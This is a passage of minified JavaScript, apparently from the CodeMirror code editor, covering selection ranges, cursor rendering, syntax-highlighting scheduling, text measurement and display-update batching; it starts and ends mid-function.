gi=gu.nextSibling,gr=gn?gn.nodeValue.length-go:0;gi;gi=gi.nextSibling){gv=gp(gi,gi.firstChild,0);if(gv){return eu(W(gv.line,gv.ch-gr),gl)}else{gr+=gi.textContent.length}}for(var gt=gu.previousSibling,gr=go;gt;gt=gt.previousSibling){gv=gp(gt,gt.firstChild,-1);if(gv){return eu(W(gv.line,gv.ch+gr),gl)}else{gr+=gi.textContent.length}}}function f0(gp,gn,go,gk,gi){var gq="",gj=false;function gl(gr){return function(gs){return gs.id==gr}}function gm(gv){if(gv.nodeType==1){var gs=gv.getAttribute("cm-text");if(gs!=null){if(gs==""){gs=gv.textContent.replace(/\u200b/g,"")}gq+=gs;return}var gu=gv.getAttribute("cm-marker"),gr;if(gu){var gw=gp.findMarks(W(gk,0),W(gi+1,0),gl(+gu));if(gw.length&&(gr=gw[0].find())){gq+=f5(gp.doc,gr.from,gr.to).join("\n")}return}if(gv.getAttribute("contenteditable")=="false"){return}for(var gt=0;gt<gv.childNodes.length;gt++){gm(gv.childNodes[gt])}if(/^(pre|div|p)$/i.test(gv.nodeName)){gj=true}}else{if(gv.nodeType==3){var gx=gv.nodeValue;if(!gx){return}if(gj){gq+="\n";gj=false}gq+=gx}}}for(;;){gm(gn);if(gn==go){break}gn=gn.nextSibling}return gq}H.inputStyles={textarea:Y,contenteditable:dw};function f4(gi,gj){this.ranges=gi;this.primIndex=gj}f4.prototype={primary:function(){return this.ranges[this.primIndex]},equals:function(gi){if(gi==this){return true}if(gi.primIndex!=this.primIndex||gi.ranges.length!=this.ranges.length){return false}for(var gk=0;gk<this.ranges.length;gk++){var gj=this.ranges[gk],gl=gi.ranges[gk];if(cg(gj.anchor,gl.anchor)!=0||cg(gj.head,gl.head)!=0){return false}}return true},deepCopy:function(){for(var gi=[],gj=0;gj<this.ranges.length;gj++){gi[gj]=new dZ(cj(this.ranges[gj].anchor),cj(this.ranges[gj].head))}return new f4(gi,this.primIndex)},somethingSelected:function(){for(var gi=0;gi<this.ranges.length;gi++){if(!this.ranges[gi].empty()){return true}}return false},contains:function(gl,gi){if(!gi){gi=gl}for(var gk=0;gk<this.ranges.length;gk++){var gj=this.ranges[gk];if(cg(gi,gj.from())>=0&&cg(gl,gj.to())<=0){return gk}}return -1}};function dZ(gi,gj){this.anchor=gi;this.head=gj}dZ.prototype={from:function(){return ar(this.anchor,this.head)},to:function(){return by(this.anchor,this.head)},empty:function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch}};function cx(gi,gp){var gk=gi[gp];gi.sort(function(gs,gr){return cg(gs.from(),gr.from())});gp=di(gi,gk);for(var gm=1;gm<gi.length;gm++){var gq=gi[gm],gj=gi[gm-1];if(cg(gj.to(),gq.from())>=0){var gn=ar(gj.from(),gq.from()),go=by(gj.to(),gq.to());var gl=gj.empty()?gq.from()==gq.head:gj.from()==gj.head;if(gm<=gp){--gp}gi.splice(--gm,2,new dZ(gl?go:gn,gl?gn:go))}}return new f4(gi,gp)}function eT(gi,gj){return new f4([new dZ(gi,gj||gi)],0)}function c6(gi,gj){return Math.max(gi.first,Math.min(gj,gi.first+gi.size-1))}function fK(gj,gk){if(gk.line<gj.first){return W(gj.first,0)}var gi=gj.first+gj.size-1;if(gk.line>gi){return W(gi,fg(gj,gi).text.length)}return ft(gk,fg(gj,gk.line).text.length)}function ft(gk,gj){var gi=gk.ch;if(gi==null||gi>gj){return W(gk.line,gj)}else{if(gi<0){return W(gk.line,0)}else{return gk}}}function ca(gj,gi){return gi>=gj.first&&gi<gj.first+gj.size}function d1(gk,gl){for(var gi=[],gj=0;gj<gl.length;gj++){gi[gj]=fK(gk,gl[gj])}return gi}function fw(gn,gj,gm,gi){if(gn.cm&&gn.cm.display.shift||gn.extend){var gl=gj.anchor;if(gi){var gk=cg(gm,gl)<0;if(gk!=(cg(gi,gl)<0)){gl=gm;gm=gi}else{if(gk!=(cg(gm,gi)<0)){gm=gi}}}return new dZ(gl,gm)}else{return new dZ(gi||gm,gm)}}function fX(gl,gk,gi,gj){bV(gl,new f4([fw(gl,gl.sel.primary(),gk,gi)],0),gj)}function aw(gn,gm,gk){for(var gj=[],gl=0;gl<gn.sel.ranges.length;gl++){gj[gl]=fw(gn,gn.sel.ranges[gl],gm[gl],null)}var gi=cx(gj,gn.sel.primIndex);bV(gn,gi,gk)}function e(gm,gl,gj,gk){var gi=gm.sel.ranges.slice(0);gi[gl]=gj;bV(gm,cx(gi,gm.sel.primIndex),gk)}function F(gl,gj,gk,gi){bV(gl,eT(gj,gk),gi)}function c(gk,gi){var gj={ranges:gi.ranges,update:function(gl){this.ranges=[];for(var gm=0;gm<gl.length;gm++){this.ranges[gm]=new dZ(fK(gk,gl[gm].anchor),fK(gk,gl[gm].head))}}};aE(gk,"beforeSelectionChange",gk,gj);if(gk.cm){aE(gk.cm,"beforeSelectionChange",gk.cm,gj)}if(gj.ranges!=gi.ranges){return cx(gj.ranges,gj.ranges.length-1)}else{return gi}}function e8(gm,gl,gj){var gi=gm.history.done,gk=fH(gi);if(gk&&gk.ranges){gi[gi.length-1]=gl;eq(gm,gl,gj)}else{bV(gm,gl,gj)}}function bV(gk,gj,gi){eq(gk,gj,gi);gc(gk,gk.sel,gk.cm?gk.cm.curOp.id:NaN,gi)}function eq(gl,gk,gj){if(fj(gl,"beforeSelectionChange")||gl.cm&&fj(gl.cm,"beforeSelectionChange")){gk=c(gl,gk)}var gi=gj&&gj.bias||(cg(gk.primary().head,gl.sel.primary().head)<0?-1:1);da(gl,n(gl,gk,gi,true));if(!(gj&&gj.scroll===false)&&gl.cm){fG(gl.cm)}}function da(gj,gi){if(gi.equals(gj.sel)){return}gj.sel=gi;if(gj.cm){gj.cm.curOp.updateInput=gj.cm.curOp.selectionChanged=true;V(gj.cm)}ae(gj,"cursorActivity",gj)}function ez(gi){da(gi,n(gi,gi.sel,null,false),Z)}function n(gq,gi,gn,go){var gk;for(var gl=0;gl<gi.ranges.length;gl++){var gm=gi.ranges[gl];var gp=bW(gq,gm.anchor,gn,go);var gj=bW(gq,gm.head,gn,go);if(gk||gp!=gm.anchor||gj!=gm.head){if(!gk){gk=gi.ranges.slice(0,gl)}gk[gl]=new dZ(gp,gj)}}return gk?cx(gk,gi.primIndex):gi}function bW(gr,gq,gn,go){var gs=false,gk=gq;var gl=gn||1;gr.cantEdit=false;search:for(;;){var gt=fg(gr,gk.line);if(gt.markedSpans){for(var gm=0;gm<gt.markedSpans.length;++gm){var gi=gt.markedSpans[gm],gj=gi.marker;if((gi.from==null||(gj.inclusiveLeft?gi.from<=gk.ch:gi.from<gk.ch))&&(gi.to==null||(gj.inclusiveRight?gi.to>=gk.ch:gi.to>gk.ch))){if(go){aE(gj,"beforeCursorEnter");if(gj.explicitlyCleared){if(!gt.markedSpans){break}else{--gm;continue}}}if(!gj.atomic){continue}var gp=gj.find(gl<0?-1:1);if(cg(gp,gk)==0){gp.ch+=gl;if(gp.ch<0){if(gp.line>gr.first){gp=fK(gr,W(gp.line-1))}else{gp=null}}else{if(gp.ch>gt.text.length){if(gp.line<gr.first+gr.size-1){gp=W(gp.line+1,0)}else{gp=null}}}if(!gp){if(gs){if(!go){return bW(gr,gq,gn,true)}gr.cantEdit=true;return W(gr.first,0)}gs=true;gp=gq;gl=-gl}}gk=gp;continue search}}}return gk}}function bD(gi){gi.display.input.showSelection(gi.display.input.prepareSelection())}function fJ(gp,gi){var go=gp.doc,gq={};var gn=gq.cursors=document.createDocumentFragment();var gj=gq.selection=document.createDocumentFragment();for(var gl=0;gl<go.sel.ranges.length;gl++){if(gi===false&&gl==go.sel.primIndex){continue}var gm=go.sel.ranges[gl];var gk=gm.empty();if(gk||gp.options.showCursorWhenSelecting){A(gp,gm,gn)}if(!gk){bE(gp,gm,gj)}}return gq}function A(gi,gl,gk){var gn=dV(gi,gl.head,"div",null,null,!gi.options.singleCursorHeightPerLine);var gm=gk.appendChild(f3("div","\u00a0","CodeMirror-cursor"));gm.style.left=gn.left+"px";gm.style.top=gn.top+"px";gm.style.height=Math.max(0,gn.bottom-gn.top)*gi.options.cursorHeight+"px";if(gn.other){var gj=gk.appendChild(f3("div","\u00a0","CodeMirror-cursor CodeMirror-secondarycursor"));gj.style.display="";gj.style.left=gn.other.left+"px";gj.style.top=gn.other.top+"px";gj.style.height=(gn.other.bottom-gn.other.top)*0.85+"px"}}function bE(gm,gs,gn){var gv=gm.display,gz=gm.doc;var gi=document.createDocumentFragment();var gr=e6(gm.display),gl=gr.left;var gw=Math.max(gv.sizerWidth,dm(gm)-gv.sizer.offsetLeft)-gr.right;function gt(gD,gC,gB,gA){if(gC<0){gC=0}gC=Math.round(gC);gA=Math.round(gA);gi.appendChild(f3("div",null,"CodeMirror-selected","position: absolute; left: "+gD+"px; top: "+gC+"px; width: "+(gB==null?gw-gD:gB)+"px; height: "+(gA-gC)+"px"))}function gj(gB,gD,gG){var gC=fg(gz,gB);var gE=gC.text.length;var gH,gA;function gF(gJ,gI){return cK(gm,W(gB,gJ),"div",gC,gI)}d5(a(gC),gD||0,gG==null?gE:gG,function(gP,gO,gI){var gL=gF(gP,"left"),gM,gN,gK;if(gP==gO){gM=gL;gN=gK=gL.left}else{gM=gF(gO-1,"right");if(gI=="rtl"){var gJ=gL;gL=gM;gM=gJ}gN=gL.left;gK=gM.right}if(gD==null&&gP==0){gN=gl}if(gM.top-gL.top>3){gt(gN,gL.top,null,gL.bottom);gN=gl;if(gL.bottom<gM.top){gt(gN,gL.bottom,null,gM.top)}}if(gG==null&&gO==gE){gK=gw}if(!gH||gL.top<gH.top||gL.top==gH.top&&gL.left<gH.left){gH=gL}if(!gA||gM.bottom>gA.bottom||gM.bottom==gA.bottom&&gM.right>gA.right){gA=gM}if(gN<gl+1){gN=gl}gt(gN,gM.top,gK-gN,gM.bottom)});return{start:gH,end:gA}}var gy=gs.from(),gx=gs.to();if(gy.line==gx.line){gj(gy.line,gy.ch,gx.ch)}else{var gk=fg(gz,gy.line),gp=fg(gz,gx.line);var go=y(gk)==y(gp);var gq=gj(gy.line,gy.ch,go?gk.text.length+1:null).end;var gu=gj(gx.line,go?0:null,gx.ch).start;if(go){if(gq.top<gu.top-2){gt(gq.right,gq.top,null,gq.bottom);gt(gl,gu.top,gu.left,gu.bottom)}else{gt(gq.right,gq.top,gu.left-gq.right,gq.bottom)}}if(gq.bottom<gu.top){gt(gl,gq.bottom,null,gu.top)}}gn.appendChild(gi)}function o(gi){if(!gi.state.focused){return}var gk=gi.display;clearInterval(gk.blinker);var gj=true;gk.cursorDiv.style.visibility="";if(gi.options.cursorBlinkRate>0){gk.blinker=setInterval(function(){gk.cursorDiv.style.visibility=(gj=!gj)?"":"hidden"},gi.options.cursorBlinkRate)}else{if(gi.options.cursorBlinkRate<0){gk.cursorDiv.style.visibility="hidden"}}}function eg(gi,gj){if(gi.doc.mode.startState&&gi.doc.frontier<gi.display.viewTo){gi.state.highlight.set(gj,cw(cQ,gi))}}function cQ(gi){var gm=gi.doc;if(gm.frontier<gm.first){gm.frontier=gm.first}if(gm.frontier>=gi.display.viewTo){return}var gk=+new Date+gi.options.workTime;var gl=b4(gm.mode,dD(gi,gm.frontier));var gj=[];gm.iter(gm.frontier,Math.min(gm.first+gm.size,gi.display.viewTo+500),function(gn){if(gm.frontier>=gi.display.viewFrom){var gq=gn.styles;var gs=fA(gi,gn,gl,true);gn.styles=gs.styles;var gp=gn.styleClasses,gr=gs.classes;if(gr){gn.styleClasses=gr}else{if(gp){gn.styleClasses=null}}var gt=!gq||gq.length!=gn.styles.length||gp!=gr&&(!gp||!gr||gp.bgClass!=gr.bgClass||gp.textClass!=gr.textClass);for(var go=0;!gt&&go<gq.length;++go){gt=gq[go]!=gn.styles[go]}if(gt){gj.push(gm.frontier)}gn.stateAfter=b4(gm.mode,gl)}else{dy(gi,gn.text,gl);gn.stateAfter=gm.frontier%5==0?b4(gm.mode,gl):null}++gm.frontier;if(+new Date>gk){eg(gi,gi.options.workDelay);return true}});if(gj.length){cN(gi,function(){for(var gn=0;gn<gj.length;gn++){R(gi,gj[gn],"text")}})}}function cz(go,gi,gl){var gj,gm,gn=go.doc;var gk=gl?-1:gi-(go.doc.mode.innerMode?1000:100);for(var gr=gi;gr>gk;--gr){if(gr<=gn.first){return gn.first}var gq=fg(gn,gr-1);if(gq.stateAfter&&(!gl||gr<=gn.frontier)){return gr}var gp=bU(gq.text,null,go.options.tabSize);if(gm==null||gj>gp){gm=gr-1;gj=gp}}return gm}function dD(gi,go,gj){var gm=gi.doc,gl=gi.display;if(!gm.mode.startState){return true}var gn=cz(gi,go,gj),gk=gn>gm.first&&fg(gm,gn-1).stateAfter;if(!gk){gk=b1(gm.mode)}else{gk=b4(gm.mode,gk)}gm.iter(gn,go,function(gp){dy(gi,gp.text,gk);var gq=gn==go-1||gn%5==0||gn>=gl.viewFrom&&gn<gl.viewTo;gp.stateAfter=gq?b4(gm.mode,gk):null;++gn});if(gj){gm.frontier=gn}return gk}function e9(gi){return gi.lineSpace.offsetTop}function bJ(gi){return gi.mover.offsetHeight-gi.lineSpace.offsetHeight}function e6(gl){if(gl.cachedPaddingH){return gl.cachedPaddingH}var gk=bS(gl.measure,f3("pre","x"));var gi=window.getComputedStyle?window.getComputedStyle(gk):gk.currentStyle;var gj={left:parseInt(gi.paddingLeft),right:parseInt(gi.paddingRight)};if(!isNaN(gj.left)&&!isNaN(gj.right)){gl.cachedPaddingH=gj}return gj}function cU(gi){return dK-gi.display.nativeBarWidth}function dm(gi){return gi.display.scroller.clientWidth-cU(gi)-gi.display.barWidth}function cW(gi){return gi.display.scroller.clientHeight-cU(gi)-gi.display.barHeight}function ci(gp,gl,go){var gk=gp.options.lineWrapping;var gm=gk&&dm(gp);if(!gl.measure.heights||gk&&gl.measure.width!=gm){var gn=gl.measure.heights=[];if(gk){gl.measure.width=gm;var gr=gl.text.firstChild.getClientRects();for(var gi=0;gi<gr.length-1;gi++){var gq=gr[gi],gj=gr[gi+1];if(Math.abs(gq.bottom-gj.bottom)>2){gn.push((gq.bottom+gj.top)/2-go.top)}}}gn.push(go.bottom-go.top)}}function cu(gk,gi,gl){if(gk.line==gi){return{map:gk.measure.map,cache:gk.measure.cache}}for(var gj=0;gj<gk.rest.length;gj++){if(gk.rest[gj]==gi){return{map:gk.measure.maps[gj],cache:gk.measure.caches[gj]}}}for(var gj=0;gj<gk.rest.length;gj++){if(bO(gk.rest[gj])>gl){return{map:gk.measure.maps[gj],cache:gk.measure.caches[gj],before:true}}}}function c2(gi,gk){gk=y(gk);var gm=bO(gk);var gj=gi.display.externalMeasured=new bw(gi.doc,gk,gm);gj.lineN=gm;var gl=gj.built=eS(gi,gj);gj.text=gl.pre;bS(gi.display.lineMeasure,gl.pre);return gj}function ei(gi,gj,gl,gk){return C(gi,a5(gi,gj),gl,gk)}function fc(gi,gk){if(gk>=gi.display.viewFrom&&gk<gi.display.viewTo){return gi.display.view[ds(gi,gk)]}var gj=gi.display.externalMeasured;if(gj&&gk>=gj.lineN&&gk<gj.lineN+gj.size){return gj}}function a5(gi,gk){var gl=bO(gk);var gj=fc(gi,gl);if(gj&&!gj.text){gj=null}else{if(gj&&gj.changes){ab(gi,gj,gl,fe(gi))}}if(!gj){gj=c2(gi,gk)}var gm=cu(gj,gk,gl);return{line:gk,view:gj,rect:null,map:gm.map,cache:gm.cache,before:gm.before,hasHeights:false}}function C(gi,go,gm,gj,gl){if(go.before){gm=-1}var gk=gm+(gj||""),gn;if(go.cache.hasOwnProperty(gk)){gn=go.cache[gk]}else{if(!go.rect){go.rect=go.view.text.getBoundingClientRect()}if(!go.hasHeights){ci(gi,go.view,go.rect);go.hasHeights=true}gn=j(gi,go,gm,gj);if(!gn.bogus){go.cache[gk]=gn}}return{left:gn.left,right:gn.right,top:gl?gn.rtop:gn.top,bottom:gl?gn.rbottom:gn.bottom}}var eC={left:0,right:0,top:0,bottom:0};function aL(gj,gi,gp){var gl,gk,gn,gq;for(var go=0;go<gj.length;go+=3){var gm=gj[go],gr=gj[go+1];if(gi<gm){gk=0;gn=1;gq="left"}else{if(gi<gr){gk=gi-gm;gn=gk+1}else{if(go==gj.length-3||gi==gr&&gj[go+3]>gi){gn=gr-gm;gk=gn-1;if(gi>=gr){gq="right"}}}}if(gk!=null){gl=gj[go+2];if(gm==gr&&gp==(gl.insertLeft?"left":"right")){gq=gp}if(gp=="left"&&gk==0){while(go&&gj[go-2]==gj[go-3]&&gj[go-1].insertLeft){gl=gj[(go-=3)+2];gq="left"}}if(gp=="right"&&gk==gr-gm){while(go<gj.length-3&&gj[go+3]==gj[go+4]&&!gj[go+5].insertLeft){gl=gj[(go+=3)+2];gq="right"}}break}}return{node:gl,start:gk,end:gn,collapse:gq,coverStart:gm,coverEnd:gr}}function j(gp,gz,gs,gn){var gq=aL(gz.map,gs,gn);var gx=gq.node,gm=gq.start,gl=gq.end,gi=gq.collapse;var gj;if(gx.nodeType==3){for(var gy=0;gy<4;gy++){while(gm&&fq(gz.line.text.charAt(gq.coverStart+gm))){--gm}while(gq.coverStart+gl<gq.coverEnd&&fq(gz.line.text.charAt(gq.coverStart+gl))){++gl}if(dL&&k<9&&gm==0&&gl==gq.coverEnd-gq.coverStart){gj=gx.parentNode.getBoundingClientRect()}else{if(dL&&gp.options.lineWrapping){var gk=cm(gx,gm,gl).getClientRects();if(gk.length){gj=gk[gn=="right"?gk.length-1:0]}else{gj=eC}}else{gj=cm(gx,gm,gl).getBoundingClientRect()||eC}}if(gj.left||gj.right||gm==0){break}gl=gm;gm=gm-1;gi="right"}if(dL&&k<11){gj=eO(gp.display.measure,gj)}}else{if(gm>0){gi=gn="right"}var gk;if(gp.options.lineWrapping&&(gk=gx.getClientRects()).length>1){gj=gk[gn=="right"?gk.length-1:0]}else{gj=gx.getBoundingClientRect()}}if(dL&&k<9&&!gm&&(!gj||!gj.left&&!gj.right)){var go=gx.parentNode.getClientRects()[0];if(go){gj={left:go.left,right:go.left+dE(gp.display),top:go.top,bottom:go.bottom}}else{gj=eC}}var gv=gj.top-gz.rect.top,gt=gj.bottom-gz.rect.top;var gB=(gv+gt)/2;var gA=gz.view.measure.heights;for(var gy=0;gy<gA.length-1;gy++){if(gB<gA[gy]){break}}var gw=gy?gA[gy-1]:0,gu=gA[gy];var gr={left:(gi=="right"?gj.right:gj.left)-gz.rect.left,right:(gi=="left"?gj.left:gj.right)-gz.rect.left,top:gw,bottom:gu};if(!gj.left&&!gj.right){gr.bogus=true}if(!gp.options.singleCursorHeightPerLine){gr.rtop=gv;gr.rbottom=gt}return gr}function eO(gk,gl){if(!window.screen||screen.logicalXDPI==null||screen.logicalXDPI==screen.deviceXDPI||!aK(gk)){return gl}var gj=screen.logicalXDPI/screen.deviceXDPI;var gi=screen.logicalYDPI/screen.deviceYDPI;return{left:gl.left*gj,right:gl.right*gj,top:gl.top*gi,bottom:gl.bottom*gi}}function au(gj){if(gj.measure){gj.measure.cache={};gj.measure.heights=null;if(gj.rest){for(var gi=0;gi<gj.rest.length;gi++){gj.measure.caches[gi]={}}}}}function aO(gi){gi.display.externalMeasure=null;d2(gi.display.lineMeasure);for(var gj=0;gj<gi.display.view.length;gj++){au(gi.display.view[gj])}}function ak(gi){aO(gi);gi.display.cachedCharWidth=gi.display.cachedTextHeight=gi.display.cachedPaddingH=null;if(!gi.options.lineWrapping){gi.display.maxLineChanged=true}gi.display.lineNumChars=null}function cv(){return window.pageXOffset||(document.documentElement||document.body).scrollLeft}function ct(){return window.pageYOffset||(document.documentElement||document.body).scrollTop}function eR(go,gl,gn,gj){if(gl.widgets){for(var gk=0;gk<gl.widgets.length;++gk){if(gl.widgets[gk].above){var gq=cZ(gl.widgets[gk]);gn.top+=gq;gn.bottom+=gq}}}if(gj=="line"){return gn}if(!gj){gj="local"}var gm=bN(gl);if(gj=="local"){gm+=e9(go.display)}else{gm-=go.display.viewOffset}if(gj=="page"||gj=="window"){var gi=go.display.lineSpace.getBoundingClientRect();gm+=gi.top+(gj=="window"?0:ct());var gp=gi.left+(gj=="window"?0:cv());gn.left+=gp;gn.right+=gp}gn.top+=gm;gn.bottom+=gm;return gn}function gf(gj,gm,gk){if(gk=="div"){return gm}var go=gm.left,gn=gm.top;if(gk=="page"){go-=cv();gn-=ct()}else{if(gk=="local"||!gk){var gl=gj.display.sizer.getBoundingClientRect();go+=gl.left;gn+=gl.top}}var gi=gj.display.lineSpace.getBoundingClientRect();return{left:go-gi.left,top:gn-gi.top}}function cK(gi,gm,gl,gk,gj){if(!gk){gk=fg(gi.doc,gm.line)}return eR(gi,gk,ei(gi,gk,gm.ch,gj),gl)}function dV(gr,gq,gk,go,gt,gp){go=go||fg(gr.doc,gq.line);if(!gt){gt=a5(gr,go)}function gm(gw,gv){var gu=C(gr,gt,gw,gv?"right":"left",gp);if(gv){gu.left=gu.right}else{gu.right=gu.left}return eR(gr,go,gu,gk)}function gs(gx,gu){var gv=gn[gu],gw=gv.level%2;if(gx==dz(gv)&&gu&&gv.level<gn[gu-1].level){gv=gn[--gu];gx=ge(gv)-(gv.level%2?0:1);gw=true}else{if(gx==ge(gv)&&gu<gn.length-1&&gv.level<gn[gu+1].level){gv=gn[++gu];gx=dz(gv)-gv.level%2;gw=false}}if(gw&&gx==gv.to&&gx>gv.from){return gm(gx-1)}return gm(gx,gw)}var gn=a(go),gi=gq.ch;if(!gn){return gm(gi)}var gj=aG(gn,gi);var gl=gs(gi,gj);if(e3!=null){gl.other=gs(gi,e3)}return gl}function dI(gi,gm){var gl=0,gm=fK(gi.doc,gm);if(!gi.options.lineWrapping){gl=dE(gi.display)*gm.ch}var gj=fg(gi.doc,gm.line);var gk=bN(gj)+e9(gi.display);return{left:gl,right:gl,top:gk,bottom:gk+gj.height}}function f2(gi,gj,gk,gm){var gl=W(gi,gj);gl.xRel=gm;if(gk){gl.outside=true}return gl}function fP(gp,gm,gl){var go=gp.doc;gl+=gp.display.viewOffset;if(gl<0){return f2(go.first,0,true,-1)}var gk=bH(go,gl),gq=go.first+go.size-1;if(gk>gq){return f2(go.first+go.size-1,fg(go,gq).text.length,true,1)}if(gm<0){gm=0}var gj=fg(go,gk);for(;;){var gr=c0(gp,gj,gk,gm,gl);var gn=ex(gj);var gi=gn&&gn.find(0,true);if(gn&&(gr.ch>gi.from.ch||gr.ch==gi.from.ch&&gr.xRel>0)){gk=bO(gj=gi.to.line)}else{return gr}}}function c0(gs,gk,gv,gu,gt){var gr=gt-bN(gk);var go=false,gB=2*gs.display.wrapper.clientWidth;var gy=a5(gs,gk);function gF(gH){var gI=dV(gs,W(gv,gH),"line",gk,gy);go=true;if(gr>gI.bottom){return gI.left-gB}else{if(gr<gI.top){return gI.left+gB}else{go=false}}return gI.left}var gx=a(gk),gA=gk.text.length;var gC=cF(gk),gl=cT(gk);var gz=gF(gC),gi=go,gj=gF(gl),gn=go;if(gu>gj){return f2(gv,gl,gn,1)}for(;;){if(gx?gl==gC||gl==u(gk,gC,1):gl-gC<=1){var gw=gu<gz||gu-gz<=gj-gu?gC:gl;var gE=gu-(gw==gC?gz:gj);while(fq(gk.text.charAt(gw))){++gw}var gq=f2(gv,gw,gw==gC?gi:gn,gE<-1?-1:gE>1?1:0);return gq}var gp=Math.ceil(gA/2),gG=gC+gp;if(gx){gG=gC;for(var gD=0;gD<gp;++gD){gG=u(gk,gG,1)}}var gm=gF(gG);if(gm>gu){gl=gG;gj=gm;if(gn=go){gj+=1000}gA=gp}else{gC=gG;gz=gm;gi=go;gA-=gp}}}var aH;function aY(gk){if(gk.cachedTextHeight!=null){return gk.cachedTextHeight}if(aH==null){aH=f3("pre");for(var gj=0;gj<49;++gj){aH.appendChild(document.createTextNode("x"));aH.appendChild(f3("br"))}aH.appendChild(document.createTextNode("x"))}bS(gk.measure,aH);var gi=aH.offsetHeight/50;if(gi>3){gk.cachedTextHeight=gi}d2(gk.measure);return gi||1}function dE(gm){if(gm.cachedCharWidth!=null){return gm.cachedCharWidth}var gi=f3("span","xxxxxxxxxx");var gl=f3("pre",[gi]);bS(gm.measure,gl);var gk=gi.getBoundingClientRect(),gj=(gk.right-gk.left)/10;if(gj>2){gm.cachedCharWidth=gj}return gj||10}var bq=null;var d9=0;function cJ(gi){gi.curOp={cm:gi,viewChanged:false,startHeight:gi.doc.height,forceUpdate:false,updateInput:null,typing:false,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:false,updateMaxLine:false,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:false,id:++d9};if(bq){bq.ops.push(gi.curOp)}else{gi.curOp.ownsGroup=bq={ops:[gi.curOp],delayedCallbacks:[]}}}function cV(gl){var gk=gl.delayedCallbacks,gj=0;do{for(;gj<gk.length;gj++){gk[gj]()}for(var gi=0;gi<gl.ops.length;gi++){var gm=gl.ops[gi];if(gm.cursorActivityHandlers){while(gm.cursorActivityCalled<gm.cursorActivityHandlers.length){gm.cursorActivityHandlers[gm.cursorActivityCalled++](gm.cm)}}}}while(gj<gk.length)}function am(gi){var gl=gi.curOp,gk=gl.ownsGroup;if(!gk){return}try{cV(gk)}finally{bq=null;for(var gj=0;gj<gk.ops.length;gj++){gk.ops[gj].cm.curOp=null}cL(gk)}}function cL(gk){var gj=gk.ops;for(var gi=0;gi<gj.length;gi++){b6(gj[gi])}for(var gi=0;gi<gj.length;gi++){aq(gj[gi])}for(var gi=0;gi<gj.length;gi++){b3(gj[gi])}for(var gi=0;gi<gj.length;gi++){ap(gj[gi])}for(var gi=0;gi<gj.length;gi++){e1(gj[gi])}}function b6(gk){var gi=gk.cm,gj=gi.display;J(gi);if(gk.updateMaxLine){h(gi)}gk.mustUpdate=gk.viewChanged||gk.forceUpdate||gk.scrollTop!=null||gk.scrollToPos&&(gk.scrollToPos.from.line<gj.viewFrom||gk.scrollToPos.to.line>=gj.viewTo)||gj.maxLineChanged&&gi.options.lineWrapping;gk.update=gk.mustUpdate&&new aI(gi,gk.mustUpdate&&{top:gk.scrollTop,ensure:gk.scrollToPos},gk.forceUpdate)}function aq(gi){gi.updatedDisplay=gi.mustUpdate&&B(gi.cm,gi.update)}function b3(gk){var gi=gk.cm,gj=gi.display;if(gk.updatedDisplay){ba(gi)}gk.barMeasure=dB(gi);if(gj.maxLineChanged&&!gi.options.lineWrapping){gk.adjustWidthTo=ei(gi,gj.maxLine,gj.maxLine.text.length).left+3;gi.display.sizerWidth=gk.adjustWidthTo;gk.barMeasure.scrollWidth=Math.max(gj.scroller.clientWidth,gj.sizer.offsetLeft+gk.adjustWidthTo+cU(gi)+gi.display.barWidth);gk.maxScrollLeft=Math.max(0,gj.sizer.offsetLeft+gk.adjustWidthTo-dm(gi))}if(gk.updatedDisplay||gk.selectionChanged){gk.preparedSelection=gj.input.prepareSelection()}}function ap(gj){var gi=gj.cm;if(gj.adjustWidthTo!=null){gi.display.sizer.style.minWidth=gj.adjustWidthTo+"px";if(gj.maxScrollLeft<gi.doc.scrollLeft){bF(gi,Math.min(gi.display.scroller.scrollLeft,gj.maxScrollLeft),true)}gi.display.maxLineChanged=false}if(gj.preparedSelection){gi.display.input.showSelection(gj.preparedSelection)}if(gj.updatedDisplay){dA(gi,gj.barMeasure)}if(gj.updatedDisplay||gj.startHeight!=gi.doc.height){eZ(gi,gj.barMeasure)}if(gj.selectionChanged){o(gi)}if(gi.state.focused&&gj.updateInput){gi.display.input.reset(gj.typing)}if(gj.focus&&gj.focus==dP()){r(gj.cm)}}function e1(gp){var gi=gp.cm,gn=gi.display,gm=gi.doc;if(gp.updatedDisplay){ck(gi,gp.update)}if(gn.wheelStartX!=null&&(gp.scrollTop!=null||gp.scrollLeft!=null||gp.scrollToPos)){gn.wheelStartX=gn.wheelStartY=null}if(gp.scrollTop!=null&&(gn.scroller.scrollTop!=gp.scrollTop||gp.forceScroll)){gm.scrollTop=Math.max(0,Math.min(gn.scroller.scrollHeight-gn.scroller.clientHeight,gp.scrollTop));gn.scrollbars.setScrollTop(gm.scrollTop);gn.scroller.scrollTop=gm.scrollTop}if(gp.scrollLeft!=null&&(gn.scroller.scrollLeft!=gp.scrollLeft||gp.forceScroll)){gm.scrollLeft=Math.max(0,Math.min(gn.scroller.scrollWidth-dm(gi),gp.scrollLeft));gn.scrollbars.setScrollLeft(gm.scrollLeft);gn.scroller.scrollLeft=gm.scrollLeft;eF(gi)}if(gp.scrollToPos){var gl=D(gi,fK(gm,gp.scrollToPos.from),fK(gm,gp.scrollToPos.to),gp.scrollToPos.margin);if(gp.scrollToPos.isCursor&&gi.state.focused){d7(gi,gl)}}var gk=gp.maybeHiddenMarkers,go=gp.maybeUnhiddenMarkers;if(gk){for(var gj=0;gj<gk.length;++gj){if(!gk[gj].lines.length){aE(gk[gj],"hide")}}}if(go){for(var gj=0;gj<go.length;++gj){if(go[gj].lines.length){aE(go[gj],"unhide")}}}if(gn.wrapper.offsetHeight){gm.scrollTop=gi.display.scroller.scrollTop}if(gp.changeObjs){aE(gi,"changes",gi,gp.changeObjs)}if(gp.update){gp.update.finish()}}function cN(gi,gj){if(gi.curOp){return gj()}cJ(gi);try{return gj()}finally{am(gi)}}function c3(gi,gj){return function(){if(gi.curOp){return gj.apply(gi,arguments)}cJ(gi);try{return gj.apply(gi,arguments)}finally{am(gi)}}}function c9(gi){return function(){if(this.curOp){return gi.apply(this,arguments)}cJ(this);try{return gi.apply(this,arguments)}finally{am(this)}}}function cE(gi){return function(){var gj=this.cm;if(!gj||gj.curOp){return gi.apply(this,arguments)}cJ(gj);try{return gi.apply(this,arguments)}finally{am(gj)}}}function bw(gk,gi,gj){this.line=gi;this.rest=g(gi);this.size=this.rest?bO(fH(this.rest))-gj+1:1;this.node=this.text=null;this.hidden=fx(gk,gi)}function eW(gi,go,gn){var 